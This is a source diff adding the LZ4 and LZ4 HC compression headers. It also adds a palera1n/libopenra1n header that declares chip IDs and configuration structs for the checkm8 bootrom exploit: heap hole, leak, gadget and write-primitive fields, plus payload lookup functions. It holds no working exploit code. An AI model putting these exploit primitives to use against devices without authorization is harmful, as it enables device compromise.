#endif /* LZ4_DISABLE_DEPRECATE_WARNINGS */
|
||||
|
||||
/*! Obsolete compression functions (since v1.7.3) */
|
||||
LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress (const char* src, char* dest, int srcSize);
|
||||
LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress_limitedOutput (const char* src, char* dest, int srcSize, int maxOutputSize);
|
||||
LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_withState (void* state, const char* source, char* dest, int inputSize);
|
||||
LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_limitedOutput_withState (void* state, const char* source, char* dest, int inputSize, int maxOutputSize);
|
||||
LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize);
|
||||
LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_limitedOutput_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize, int maxOutputSize);
|
||||
|
||||
/*! Obsolete decompression functions (since v1.8.0) */
|
||||
LZ4_DEPRECATED("use LZ4_decompress_fast() instead") LZ4LIB_API int LZ4_uncompress (const char* source, char* dest, int outputSize);
|
||||
LZ4_DEPRECATED("use LZ4_decompress_safe() instead") LZ4LIB_API int LZ4_uncompress_unknownOutputSize (const char* source, char* dest, int isize, int maxOutputSize);
|
||||
|
||||
/* Obsolete streaming functions (since v1.7.0)
|
||||
* degraded functionality; do not use!
|
||||
*
|
||||
* In order to perform streaming compression, these functions depended on data
|
||||
* that is no longer tracked in the state. They have been preserved as well as
|
||||
* possible: using them will still produce a correct output. However, they don't
|
||||
* actually retain any history between compression calls. The compression ratio
|
||||
* achieved will therefore be no better than compressing each chunk
|
||||
* independently.
|
||||
*/
|
||||
LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API void* LZ4_create (char* inputBuffer);
|
||||
LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API int LZ4_sizeofStreamState(void);
|
||||
LZ4_DEPRECATED("Use LZ4_resetStream() instead") LZ4LIB_API int LZ4_resetStreamState(void* state, char* inputBuffer);
|
||||
LZ4_DEPRECATED("Use LZ4_saveDict() instead") LZ4LIB_API char* LZ4_slideInputBuffer (void* state);
|
||||
|
||||
/*! Obsolete streaming decoding functions (since v1.7.0) */
|
||||
LZ4_DEPRECATED("use LZ4_decompress_safe_usingDict() instead") LZ4LIB_API int LZ4_decompress_safe_withPrefix64k (const char* src, char* dst, int compressedSize, int maxDstSize);
|
||||
LZ4_DEPRECATED("use LZ4_decompress_fast_usingDict() instead") LZ4LIB_API int LZ4_decompress_fast_withPrefix64k (const char* src, char* dst, int originalSize);
|
||||
|
||||
/*! Obsolete LZ4_decompress_fast variants (since v1.9.0) :
|
||||
* These functions used to be faster than LZ4_decompress_safe(),
|
||||
* but this is no longer the case. They are now slower.
|
||||
* This is because LZ4_decompress_fast() doesn't know the input size,
|
||||
* and therefore must progress more cautiously into the input buffer to not read beyond the end of block.
|
||||
* On top of that `LZ4_decompress_fast()` is not protected vs malformed or malicious inputs, making it a security liability.
|
||||
* As a consequence, LZ4_decompress_fast() is strongly discouraged, and deprecated.
|
||||
*
|
||||
* The last remaining LZ4_decompress_fast() specificity is that
|
||||
* it can decompress a block without knowing its compressed size.
|
||||
* Such functionality can be achieved in a more secure manner
|
||||
* by employing LZ4_decompress_safe_partial().
|
||||
*
|
||||
* Parameters:
|
||||
* originalSize : is the uncompressed size to regenerate.
|
||||
* `dst` must be already allocated, its size must be >= 'originalSize' bytes.
|
||||
* @return : number of bytes read from source buffer (== compressed size).
|
||||
* The function expects to finish at block's end exactly.
|
||||
* If the source stream is detected malformed, the function stops decoding and returns a negative result.
|
||||
* note : LZ4_decompress_fast*() requires originalSize. Thanks to this information, it never writes past the output buffer.
|
||||
* However, since it doesn't know its 'src' size, it may read an unknown amount of input, past input buffer bounds.
|
||||
* Also, since match offsets are not validated, match reads from 'src' may underflow too.
|
||||
* These issues never happen if input (compressed) data is correct.
|
||||
* But they may happen if input data is invalid (error or intentional tampering).
|
||||
* As a consequence, use these functions in trusted environments with trusted data **only**.
|
||||
*/
|
||||
LZ4_DEPRECATED("This function is deprecated and unsafe. Consider using LZ4_decompress_safe() instead")
|
||||
LZ4LIB_API int LZ4_decompress_fast (const char* src, char* dst, int originalSize);
|
||||
LZ4_DEPRECATED("This function is deprecated and unsafe. Consider using LZ4_decompress_safe_continue() instead")
|
||||
LZ4LIB_API int LZ4_decompress_fast_continue (LZ4_streamDecode_t* LZ4_streamDecode, const char* src, char* dst, int originalSize);
|
||||
LZ4_DEPRECATED("This function is deprecated and unsafe. Consider using LZ4_decompress_safe_usingDict() instead")
|
||||
LZ4LIB_API int LZ4_decompress_fast_usingDict (const char* src, char* dst, int originalSize, const char* dictStart, int dictSize);
|
||||
|
||||
/*! LZ4_resetStream() :
|
||||
* An LZ4_stream_t structure must be initialized at least once.
|
||||
* This is done with LZ4_initStream(), or LZ4_resetStream().
|
||||
* Consider switching to LZ4_initStream(),
|
||||
* invoking LZ4_resetStream() will trigger deprecation warnings in the future.
|
||||
*/
|
||||
LZ4LIB_API void LZ4_resetStream (LZ4_stream_t* streamPtr);
|
||||
|
||||
|
||||
#endif /* LZ4_H_98237428734687 */
|
||||
|
||||
|
||||
#if defined (__cplusplus)
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,413 @@
|
||||
/*
|
||||
LZ4 HC - High Compression Mode of LZ4
|
||||
Header File
|
||||
Copyright (C) 2011-2020, Yann Collet.
|
||||
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
You can contact the author at :
|
||||
- LZ4 source repository : https://github.com/lz4/lz4
|
||||
- LZ4 public forum : https://groups.google.com/forum/#!forum/lz4c
|
||||
*/
|
||||
#ifndef LZ4_HC_H_19834876238432
|
||||
#define LZ4_HC_H_19834876238432
|
||||
|
||||
#if defined (__cplusplus)
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* --- Dependency --- */
|
||||
/* note : lz4hc requires lz4.h/lz4.c for compilation */
|
||||
#include "lz4.h" /* stddef, LZ4LIB_API, LZ4_DEPRECATED */
|
||||
|
||||
|
||||
/* --- Useful constants --- */
|
||||
#define LZ4HC_CLEVEL_MIN 3
|
||||
#define LZ4HC_CLEVEL_DEFAULT 9
|
||||
#define LZ4HC_CLEVEL_OPT_MIN 10
|
||||
#define LZ4HC_CLEVEL_MAX 12
|
||||
|
||||
|
||||
/*-************************************
|
||||
* Block Compression
|
||||
**************************************/
|
||||
/*! LZ4_compress_HC() :
|
||||
* Compress data from `src` into `dst`, using the powerful but slower "HC" algorithm.
|
||||
* `dst` must be already allocated.
|
||||
* Compression is guaranteed to succeed if `dstCapacity >= LZ4_compressBound(srcSize)` (see "lz4.h")
|
||||
* Max supported `srcSize` value is LZ4_MAX_INPUT_SIZE (see "lz4.h")
|
||||
* `compressionLevel` : any value between 1 and LZ4HC_CLEVEL_MAX will work.
|
||||
* Values > LZ4HC_CLEVEL_MAX behave the same as LZ4HC_CLEVEL_MAX.
|
||||
* @return : the number of bytes written into 'dst'
|
||||
* or 0 if compression fails.
|
||||
*/
|
||||
LZ4LIB_API int LZ4_compress_HC (const char* src, char* dst, int srcSize, int dstCapacity, int compressionLevel);
|
||||
|
||||
|
||||
/* Note :
|
||||
* Decompression functions are provided within "lz4.h" (BSD license)
|
||||
*/
|
||||
|
||||
|
||||
/*! LZ4_compress_HC_extStateHC() :
|
||||
* Same as LZ4_compress_HC(), but using an externally allocated memory segment for `state`.
|
||||
* `state` size is provided by LZ4_sizeofStateHC().
|
||||
* Memory segment must be aligned on 8-bytes boundaries (which a normal malloc() should do properly).
|
||||
*/
|
||||
LZ4LIB_API int LZ4_sizeofStateHC(void);
|
||||
LZ4LIB_API int LZ4_compress_HC_extStateHC(void* stateHC, const char* src, char* dst, int srcSize, int maxDstSize, int compressionLevel);
|
||||
|
||||
|
||||
/*! LZ4_compress_HC_destSize() : v1.9.0+
|
||||
* Will compress as much data as possible from `src`
|
||||
* to fit into `targetDstSize` budget.
|
||||
* Result is provided in 2 parts :
|
||||
* @return : the number of bytes written into 'dst' (necessarily <= targetDstSize)
|
||||
* or 0 if compression fails.
|
||||
* `srcSizePtr` : on success, *srcSizePtr is updated to indicate how much bytes were read from `src`
|
||||
*/
|
||||
LZ4LIB_API int LZ4_compress_HC_destSize(void* stateHC,
|
||||
const char* src, char* dst,
|
||||
int* srcSizePtr, int targetDstSize,
|
||||
int compressionLevel);
|
||||
|
||||
|
||||
/*-************************************
|
||||
* Streaming Compression
|
||||
* Bufferless synchronous API
|
||||
**************************************/
|
||||
typedef union LZ4_streamHC_u LZ4_streamHC_t; /* incomplete type (defined later) */
|
||||
|
||||
/*! LZ4_createStreamHC() and LZ4_freeStreamHC() :
|
||||
* These functions create and release memory for LZ4 HC streaming state.
|
||||
* Newly created states are automatically initialized.
|
||||
* A same state can be used multiple times consecutively,
|
||||
* starting with LZ4_resetStreamHC_fast() to start a new stream of blocks.
|
||||
*/
|
||||
LZ4LIB_API LZ4_streamHC_t* LZ4_createStreamHC(void);
|
||||
LZ4LIB_API int LZ4_freeStreamHC (LZ4_streamHC_t* streamHCPtr);
|
||||
|
||||
/*
|
||||
These functions compress data in successive blocks of any size,
|
||||
using previous blocks as dictionary, to improve compression ratio.
|
||||
One key assumption is that previous blocks (up to 64 KB) remain read-accessible while compressing next blocks.
|
||||
There is an exception for ring buffers, which can be smaller than 64 KB.
|
||||
Ring-buffer scenario is automatically detected and handled within LZ4_compress_HC_continue().
|
||||
|
||||
Before starting compression, state must be allocated and properly initialized.
|
||||
LZ4_createStreamHC() does both, though compression level is set to LZ4HC_CLEVEL_DEFAULT.
|
||||
|
||||
Selecting the compression level can be done with LZ4_resetStreamHC_fast() (starts a new stream)
|
||||
or LZ4_setCompressionLevel() (anytime, between blocks in the same stream) (experimental).
|
||||
LZ4_resetStreamHC_fast() only works on states which have been properly initialized at least once,
|
||||
which is automatically the case when state is created using LZ4_createStreamHC().
|
||||
|
||||
After reset, a first "fictional block" can be designated as initial dictionary,
|
||||
using LZ4_loadDictHC() (Optional).
|
||||
|
||||
Invoke LZ4_compress_HC_continue() to compress each successive block.
|
||||
The number of blocks is unlimited.
|
||||
Previous input blocks, including initial dictionary when present,
|
||||
must remain accessible and unmodified during compression.
|
||||
|
||||
It's allowed to update compression level anytime between blocks,
|
||||
using LZ4_setCompressionLevel() (experimental).
|
||||
|
||||
'dst' buffer should be sized to handle worst case scenarios
|
||||
(see LZ4_compressBound(), it ensures compression success).
|
||||
In case of failure, the API does not guarantee recovery,
|
||||
so the state _must_ be reset.
|
||||
To ensure compression success
|
||||
whenever `dst` buffer size cannot be made >= LZ4_compressBound(),
|
||||
consider using LZ4_compress_HC_continue_destSize().
|
||||
|
||||
Whenever previous input blocks can't be preserved unmodified in-place during compression of next blocks,
|
||||
it's possible to copy the last blocks into a more stable memory space, using LZ4_saveDictHC().
|
||||
Return value of LZ4_saveDictHC() is the size of dictionary effectively saved into 'safeBuffer' (<= 64 KB)
|
||||
|
||||
After completing a streaming compression,
|
||||
it's possible to start a new stream of blocks, using the same LZ4_streamHC_t state,
|
||||
just by resetting it, using LZ4_resetStreamHC_fast().
|
||||
*/
|
||||
|
||||
LZ4LIB_API void LZ4_resetStreamHC_fast(LZ4_streamHC_t* streamHCPtr, int compressionLevel); /* v1.9.0+ */
|
||||
LZ4LIB_API int LZ4_loadDictHC (LZ4_streamHC_t* streamHCPtr, const char* dictionary, int dictSize);
|
||||
|
||||
LZ4LIB_API int LZ4_compress_HC_continue (LZ4_streamHC_t* streamHCPtr,
|
||||
const char* src, char* dst,
|
||||
int srcSize, int maxDstSize);
|
||||
|
||||
/*! LZ4_compress_HC_continue_destSize() : v1.9.0+
|
||||
* Similar to LZ4_compress_HC_continue(),
|
||||
* but will read as much data as possible from `src`
|
||||
* to fit into `targetDstSize` budget.
|
||||
* Result is provided into 2 parts :
|
||||
* @return : the number of bytes written into 'dst' (necessarily <= targetDstSize)
|
||||
* or 0 if compression fails.
|
||||
* `srcSizePtr` : on success, *srcSizePtr will be updated to indicate how much bytes were read from `src`.
|
||||
* Note that this function may not consume the entire input.
|
||||
*/
|
||||
LZ4LIB_API int LZ4_compress_HC_continue_destSize(LZ4_streamHC_t* LZ4_streamHCPtr,
|
||||
const char* src, char* dst,
|
||||
int* srcSizePtr, int targetDstSize);
|
||||
|
||||
LZ4LIB_API int LZ4_saveDictHC (LZ4_streamHC_t* streamHCPtr, char* safeBuffer, int maxDictSize);
|
||||
|
||||
|
||||
|
||||
/*^**********************************************
|
||||
* !!!!!! STATIC LINKING ONLY !!!!!!
|
||||
***********************************************/
|
||||
|
||||
/*-******************************************************************
|
||||
* PRIVATE DEFINITIONS :
|
||||
* Do not use these definitions directly.
|
||||
* They are merely exposed to allow static allocation of `LZ4_streamHC_t`.
|
||||
* Declare an `LZ4_streamHC_t` directly, rather than any type below.
|
||||
* Even then, only do so in the context of static linking, as definitions may change between versions.
|
||||
********************************************************************/
|
||||
|
||||
#define LZ4HC_DICTIONARY_LOGSIZE 16
|
||||
#define LZ4HC_MAXD (1<<LZ4HC_DICTIONARY_LOGSIZE)
|
||||
#define LZ4HC_MAXD_MASK (LZ4HC_MAXD - 1)
|
||||
|
||||
#define LZ4HC_HASH_LOG 15
|
||||
#define LZ4HC_HASHTABLESIZE (1 << LZ4HC_HASH_LOG)
|
||||
#define LZ4HC_HASH_MASK (LZ4HC_HASHTABLESIZE - 1)
|
||||
|
||||
|
||||
/* Never ever use these definitions directly !
|
||||
* Declare or allocate an LZ4_streamHC_t instead.
|
||||
**/
|
||||
typedef struct LZ4HC_CCtx_internal LZ4HC_CCtx_internal;
|
||||
struct LZ4HC_CCtx_internal
|
||||
{
|
||||
LZ4_u32 hashTable[LZ4HC_HASHTABLESIZE];
|
||||
LZ4_u16 chainTable[LZ4HC_MAXD];
|
||||
const LZ4_byte* end; /* next block here to continue on current prefix */
|
||||
const LZ4_byte* prefixStart; /* Indexes relative to this position */
|
||||
const LZ4_byte* dictStart; /* alternate reference for extDict */
|
||||
LZ4_u32 dictLimit; /* below that point, need extDict */
|
||||
LZ4_u32 lowLimit; /* below that point, no more dict */
|
||||
LZ4_u32 nextToUpdate; /* index from which to continue dictionary update */
|
||||
short compressionLevel;
|
||||
LZ4_i8 favorDecSpeed; /* favor decompression speed if this flag set,
|
||||
otherwise, favor compression ratio */
|
||||
LZ4_i8 dirty; /* stream has to be fully reset if this flag is set */
|
||||
const LZ4HC_CCtx_internal* dictCtx;
|
||||
};
|
||||
|
||||
#define LZ4_STREAMHC_MINSIZE 262200 /* static size, for inter-version compatibility */
|
||||
union LZ4_streamHC_u {
|
||||
char minStateSize[LZ4_STREAMHC_MINSIZE];
|
||||
LZ4HC_CCtx_internal internal_donotuse;
|
||||
}; /* previously typedef'd to LZ4_streamHC_t */
|
||||
|
||||
/* LZ4_streamHC_t :
|
||||
* This structure allows static allocation of LZ4 HC streaming state.
|
||||
* This can be used to allocate statically on stack, or as part of a larger structure.
|
||||
*
|
||||
* Such state **must** be initialized using LZ4_initStreamHC() before first use.
|
||||
*
|
||||
* Note that invoking LZ4_initStreamHC() is not required when
|
||||
* the state was created using LZ4_createStreamHC() (which is recommended).
|
||||
* Using the normal builder, a newly created state is automatically initialized.
|
||||
*
|
||||
* Static allocation shall only be used in combination with static linking.
|
||||
*/
|
||||
|
||||
/* LZ4_initStreamHC() : v1.9.0+
|
||||
* Required before first use of a statically allocated LZ4_streamHC_t.
|
||||
* Before v1.9.0 : use LZ4_resetStreamHC() instead
|
||||
*/
|
||||
LZ4LIB_API LZ4_streamHC_t* LZ4_initStreamHC(void* buffer, size_t size);
|
||||
|
||||
|
||||
/*-************************************
|
||||
* Deprecated Functions
|
||||
**************************************/
|
||||
/* see lz4.h LZ4_DISABLE_DEPRECATE_WARNINGS to turn off deprecation warnings */
|
||||
|
||||
/* deprecated compression functions */
|
||||
LZ4_DEPRECATED("use LZ4_compress_HC() instead") LZ4LIB_API int LZ4_compressHC (const char* source, char* dest, int inputSize);
|
||||
LZ4_DEPRECATED("use LZ4_compress_HC() instead") LZ4LIB_API int LZ4_compressHC_limitedOutput (const char* source, char* dest, int inputSize, int maxOutputSize);
|
||||
LZ4_DEPRECATED("use LZ4_compress_HC() instead") LZ4LIB_API int LZ4_compressHC2 (const char* source, char* dest, int inputSize, int compressionLevel);
|
||||
LZ4_DEPRECATED("use LZ4_compress_HC() instead") LZ4LIB_API int LZ4_compressHC2_limitedOutput(const char* source, char* dest, int inputSize, int maxOutputSize, int compressionLevel);
|
||||
LZ4_DEPRECATED("use LZ4_compress_HC_extStateHC() instead") LZ4LIB_API int LZ4_compressHC_withStateHC (void* state, const char* source, char* dest, int inputSize);
|
||||
LZ4_DEPRECATED("use LZ4_compress_HC_extStateHC() instead") LZ4LIB_API int LZ4_compressHC_limitedOutput_withStateHC (void* state, const char* source, char* dest, int inputSize, int maxOutputSize);
|
||||
LZ4_DEPRECATED("use LZ4_compress_HC_extStateHC() instead") LZ4LIB_API int LZ4_compressHC2_withStateHC (void* state, const char* source, char* dest, int inputSize, int compressionLevel);
|
||||
LZ4_DEPRECATED("use LZ4_compress_HC_extStateHC() instead") LZ4LIB_API int LZ4_compressHC2_limitedOutput_withStateHC(void* state, const char* source, char* dest, int inputSize, int maxOutputSize, int compressionLevel);
|
||||
LZ4_DEPRECATED("use LZ4_compress_HC_continue() instead") LZ4LIB_API int LZ4_compressHC_continue (LZ4_streamHC_t* LZ4_streamHCPtr, const char* source, char* dest, int inputSize);
|
||||
LZ4_DEPRECATED("use LZ4_compress_HC_continue() instead") LZ4LIB_API int LZ4_compressHC_limitedOutput_continue (LZ4_streamHC_t* LZ4_streamHCPtr, const char* source, char* dest, int inputSize, int maxOutputSize);
|
||||
|
||||
/* Obsolete streaming functions; degraded functionality; do not use!
|
||||
*
|
||||
* In order to perform streaming compression, these functions depended on data
|
||||
* that is no longer tracked in the state. They have been preserved as well as
|
||||
* possible: using them will still produce a correct output. However, use of
|
||||
* LZ4_slideInputBufferHC() will truncate the history of the stream, rather
|
||||
* than preserve a window-sized chunk of history.
|
||||
*/
|
||||
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
|
||||
LZ4_DEPRECATED("use LZ4_createStreamHC() instead") LZ4LIB_API void* LZ4_createHC (const char* inputBuffer);
|
||||
LZ4_DEPRECATED("use LZ4_freeStreamHC() instead") LZ4LIB_API int LZ4_freeHC (void* LZ4HC_Data);
|
||||
#endif
|
||||
LZ4_DEPRECATED("use LZ4_saveDictHC() instead") LZ4LIB_API char* LZ4_slideInputBufferHC (void* LZ4HC_Data);
|
||||
LZ4_DEPRECATED("use LZ4_compress_HC_continue() instead") LZ4LIB_API int LZ4_compressHC2_continue (void* LZ4HC_Data, const char* source, char* dest, int inputSize, int compressionLevel);
|
||||
LZ4_DEPRECATED("use LZ4_compress_HC_continue() instead") LZ4LIB_API int LZ4_compressHC2_limitedOutput_continue (void* LZ4HC_Data, const char* source, char* dest, int inputSize, int maxOutputSize, int compressionLevel);
|
||||
LZ4_DEPRECATED("use LZ4_createStreamHC() instead") LZ4LIB_API int LZ4_sizeofStreamStateHC(void);
|
||||
LZ4_DEPRECATED("use LZ4_initStreamHC() instead") LZ4LIB_API int LZ4_resetStreamStateHC(void* state, char* inputBuffer);
|
||||
|
||||
|
||||
/* LZ4_resetStreamHC() is now replaced by LZ4_initStreamHC().
|
||||
* The intention is to emphasize the difference with LZ4_resetStreamHC_fast(),
|
||||
* which is now the recommended function to start a new stream of blocks,
|
||||
* but cannot be used to initialize a memory segment containing arbitrary garbage data.
|
||||
*
|
||||
* It is recommended to switch to LZ4_initStreamHC().
|
||||
* LZ4_resetStreamHC() will generate deprecation warnings in a future version.
|
||||
*/
|
||||
LZ4LIB_API void LZ4_resetStreamHC (LZ4_streamHC_t* streamHCPtr, int compressionLevel);
|
||||
|
||||
|
||||
#if defined (__cplusplus)
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* LZ4_HC_H_19834876238432 */
|
||||
|
||||
|
||||
/*-**************************************************
|
||||
* !!!!! STATIC LINKING ONLY !!!!!
|
||||
* Following definitions are considered experimental.
|
||||
* They should not be linked from DLL,
|
||||
* as there is no guarantee of API stability yet.
|
||||
* Prototypes will be promoted to "stable" status
|
||||
* after successful usage in real-life scenarios.
|
||||
***************************************************/
|
||||
#ifdef LZ4_HC_STATIC_LINKING_ONLY /* protection macro */
|
||||
#ifndef LZ4_HC_SLO_098092834
|
||||
#define LZ4_HC_SLO_098092834
|
||||
|
||||
#define LZ4_STATIC_LINKING_ONLY /* LZ4LIB_STATIC_API */
|
||||
#include "lz4.h"
|
||||
|
||||
#if defined (__cplusplus)
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*! LZ4_setCompressionLevel() : v1.8.0+ (experimental)
|
||||
* It's possible to change compression level
|
||||
* between successive invocations of LZ4_compress_HC_continue*()
|
||||
* for dynamic adaptation.
|
||||
*/
|
||||
LZ4LIB_STATIC_API void LZ4_setCompressionLevel(
|
||||
LZ4_streamHC_t* LZ4_streamHCPtr, int compressionLevel);
|
||||
|
||||
/*! LZ4_favorDecompressionSpeed() : v1.8.2+ (experimental)
|
||||
* Opt. Parser will favor decompression speed over compression ratio.
|
||||
* Only applicable to levels >= LZ4HC_CLEVEL_OPT_MIN.
|
||||
*/
|
||||
LZ4LIB_STATIC_API void LZ4_favorDecompressionSpeed(
|
||||
LZ4_streamHC_t* LZ4_streamHCPtr, int favor);
|
||||
|
||||
/*! LZ4_resetStreamHC_fast() : v1.9.0+
|
||||
* When an LZ4_streamHC_t is known to be in a internally coherent state,
|
||||
* it can often be prepared for a new compression with almost no work, only
|
||||
* sometimes falling back to the full, expensive reset that is always required
|
||||
* when the stream is in an indeterminate state (i.e., the reset performed by
|
||||
* LZ4_resetStreamHC()).
|
||||
*
|
||||
* LZ4_streamHCs are guaranteed to be in a valid state when:
|
||||
* - returned from LZ4_createStreamHC()
|
||||
* - reset by LZ4_resetStreamHC()
|
||||
* - memset(stream, 0, sizeof(LZ4_streamHC_t))
|
||||
* - the stream was in a valid state and was reset by LZ4_resetStreamHC_fast()
|
||||
* - the stream was in a valid state and was then used in any compression call
|
||||
* that returned success
|
||||
* - the stream was in an indeterminate state and was used in a compression
|
||||
* call that fully reset the state (LZ4_compress_HC_extStateHC()) and that
|
||||
* returned success
|
||||
*
|
||||
* Note:
|
||||
* A stream that was last used in a compression call that returned an error
|
||||
* may be passed to this function. However, it will be fully reset, which will
|
||||
* clear any existing history and settings from the context.
|
||||
*/
|
||||
LZ4LIB_STATIC_API void LZ4_resetStreamHC_fast(
|
||||
LZ4_streamHC_t* LZ4_streamHCPtr, int compressionLevel);
|
||||
|
||||
/*! LZ4_compress_HC_extStateHC_fastReset() :
|
||||
* A variant of LZ4_compress_HC_extStateHC().
|
||||
*
|
||||
* Using this variant avoids an expensive initialization step. It is only safe
|
||||
* to call if the state buffer is known to be correctly initialized already
|
||||
* (see above comment on LZ4_resetStreamHC_fast() for a definition of
|
||||
* "correctly initialized"). From a high level, the difference is that this
|
||||
* function initializes the provided state with a call to
|
||||
* LZ4_resetStreamHC_fast() while LZ4_compress_HC_extStateHC() starts with a
|
||||
* call to LZ4_resetStreamHC().
|
||||
*/
|
||||
LZ4LIB_STATIC_API int LZ4_compress_HC_extStateHC_fastReset (
|
||||
void* state,
|
||||
const char* src, char* dst,
|
||||
int srcSize, int dstCapacity,
|
||||
int compressionLevel);
|
||||
|
||||
/*! LZ4_attach_HC_dictionary() :
|
||||
* This is an experimental API that allows for the efficient use of a
|
||||
* static dictionary many times.
|
||||
*
|
||||
* Rather than re-loading the dictionary buffer into a working context before
|
||||
* each compression, or copying a pre-loaded dictionary's LZ4_streamHC_t into a
|
||||
* working LZ4_streamHC_t, this function introduces a no-copy setup mechanism,
|
||||
* in which the working stream references the dictionary stream in-place.
|
||||
*
|
||||
* Several assumptions are made about the state of the dictionary stream.
|
||||
* Currently, only streams which have been prepared by LZ4_loadDictHC() should
|
||||
* be expected to work.
|
||||
*
|
||||
* Alternatively, the provided dictionary stream pointer may be NULL, in which
|
||||
* case any existing dictionary stream is unset.
|
||||
*
|
||||
* A dictionary should only be attached to a stream without any history (i.e.,
|
||||
* a stream that has just been reset).
|
||||
*
|
||||
* The dictionary will remain attached to the working stream only for the
|
||||
* current stream session. Calls to LZ4_resetStreamHC(_fast) will remove the
|
||||
* dictionary context association from the working stream. The dictionary
|
||||
* stream (and source buffer) must remain in-place / accessible / unchanged
|
||||
* through the lifetime of the stream session.
|
||||
*/
|
||||
LZ4LIB_STATIC_API void LZ4_attach_HC_dictionary(
|
||||
LZ4_streamHC_t *working_stream,
|
||||
const LZ4_streamHC_t *dictionary_stream);
|
||||
|
||||
#if defined (__cplusplus)
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* LZ4_HC_SLO_098092834 */
|
||||
#endif /* LZ4_HC_STATIC_LINKING_ONLY */
|
||||
@@ -0,0 +1,75 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#ifndef LIBOPENRA1N__PAYLOAD_H
|
||||
#define LIBOPENRA1N__PAYLOAD_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#define A8 0x7000
|
||||
#define A8X 0x7001
|
||||
#define S1 0x7002
|
||||
#define A9 0x8000
|
||||
#define A9X 0x8001
|
||||
#define A9_TSMC 0x8003
|
||||
#define A10 0x8010
|
||||
#define A10X 0x8011
|
||||
#define T2 0x8012
|
||||
#define A11 0x8015
|
||||
|
||||
struct DeviceConfiguration {
|
||||
uint16_t cpid;
|
||||
size_t
|
||||
config_hole,
|
||||
config_large_leak,
|
||||
config_overwrite_pad;
|
||||
};
|
||||
|
||||
struct PayloadConfiguration {
|
||||
uint64_t
|
||||
insecure_memory_base,
|
||||
func_gadget,
|
||||
write_prim,
|
||||
write_prim2,
|
||||
arm_clean_invalidate_dcache_line,
|
||||
arm_invalidate_icache,
|
||||
enter_critical_section,
|
||||
exit_critical_section,
|
||||
write_ttbr0,
|
||||
tlbi,
|
||||
TTBR0_PATCH_BASE,
|
||||
TTBR0_BASE,
|
||||
bootstrap_task_lr,
|
||||
payload_start_offset;
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
uint16_t cpid;
|
||||
const uint8_t *data;
|
||||
size_t len;
|
||||
} yolo_payload_t;
|
||||
|
||||
bool checkm8_find_device_configuration_for_cpid(uint16_t cpid, struct DeviceConfiguration *config);
|
||||
bool checkm8_find_payload_configuration_for_cpid(uint16_t cpid, struct PayloadConfiguration *config);
|
||||
bool create_pongo_payload_for_device(uint16_t cpid, const uint8_t **payload, size_t *payloadSize);
|
||||
|
||||
#endif // LIBOPENRA1N__PAYLOAD_H
|
||||
@@ -0,0 +1,35 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2023 0x7ff
|
||||
* Copyright (C) 2023 Mineek
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
